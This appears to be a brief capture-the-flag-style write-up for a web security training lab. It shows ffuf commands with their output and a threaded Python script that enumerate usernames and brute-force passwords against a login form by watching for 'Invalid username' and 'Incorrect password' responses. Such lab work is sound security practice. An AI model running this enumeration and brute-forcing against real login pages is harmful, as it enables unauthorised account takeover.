First method (Ffuf)

capture the POST request on login and change the values to FUZZ1 and FUZZ2 then save the POST request to a txt file

computadora@archlinux  ~/writeups  ~/go/bin/ffuf -request enum.txt -w users.txt:FUZZ -w pass.txt:FUZZ2 -fr "Invalid username"
 ✘ computadora@archlinux  ~/writeups  ~/go/bin/ffuf -request enum2.txt  -w pass.txt:FUZZ2 -fr "Incorrect password" -t 1000

/go/bin/ffuf -request enum.txt -w users.txt:FUZZ -w pass.txt:FUZZ2 -fr "Invalid username"

 ffuf -request ~/BHF.txt -w users.txt -request-proto https -c -fr "Invalid username"

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : https://0a2400150430da4480d194ae00aa005a.web-security-academy.net/login
 :: Wordlist         : FUZZ: /home/computadora/writeups/users.txt
 :: Wordlist         : FUZZ2: /home/computadora/writeups/pass.txt
 :: Header           : Referer: https://0a2400150430da4480d194ae00aa005a.web-security-academy.net/login
 :: Header           : Sec-Fetch-Site: same-origin
 :: Header           : X-Pwnfox-Color: green
 :: Header           : Priority: u=0, i
 :: Header           : Cookie: session=ONoUjeVS2kHeT52Uyjt4CNtj0GcYgHY1
 :: Header           : User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:147.0) Gecko/20100101 Firefox/147.0
 :: Header           : Accept-Language: en-US,en;q=0.9
 :: Header           : Sec-Fetch-User: ?1
 :: Header           : Te: trailers
 :: Header           : Host: 0a2400150430da4480d194ae00aa005a.web-security-academy.net
 :: Header           : Content-Type: application/x-www-form-urlencoded
 :: Header           : Upgrade-Insecure-Requests: 1
 :: Header           : Sec-Fetch-Dest: document
 :: Header           : Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 :: Header           : Accept-Encoding: gzip, deflate, br
 :: Header           : Origin: https://0a2400150430da4480d194ae00aa005a.web-security-academy.net
 :: Header           : Sec-Fetch-Mode: navigate
 :: Data             : username=FUZZ&password=FUZZ2
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Regexp: Invalid username
________________________________________________

[Status: 200, Size: 3246, Words: 1323, Lines: 68, Duration: 184ms]
    * FUZZ: alterwind
    * FUZZ2: 123456

Second Method ( Python script )

python script

#!/usr/bin/env python3

import requests
from threading import Thread
from time import sleep

def fetchUsername(filename):
    listUsername = list()

    with open(filename) as fd:
        for line in fd:
            listUsername.append(line.strip())

    return listUsername

def sendRequest(url, cookie, username):
    loginData = {
        'username': username,
        'password': 'anything'
    }

    loginRequestText = requests.post(url, cookies=cookie, data=loginData).text

    if 'Invalid username' not in loginRequestText:
        print(f'[+] Found user: {username}')

def main():
    url = 'https://0a2400150430da4480d194ae00aa005a.web-security-academy.net/login'
    cookie = {'session': 'cuah1NF2bfeU4Lf2xA3ZdCnbMs5OuI4m'}

    userFileName = './users.txt'
    listUsername = fetchUsername(userFileName)
    
    for username in listUsername:
        thread = Thread(target=sendRequest, args=(url, cookie, username))
        thread.start()
        sleep(0.2)

if __name__ == '__main__':
    main()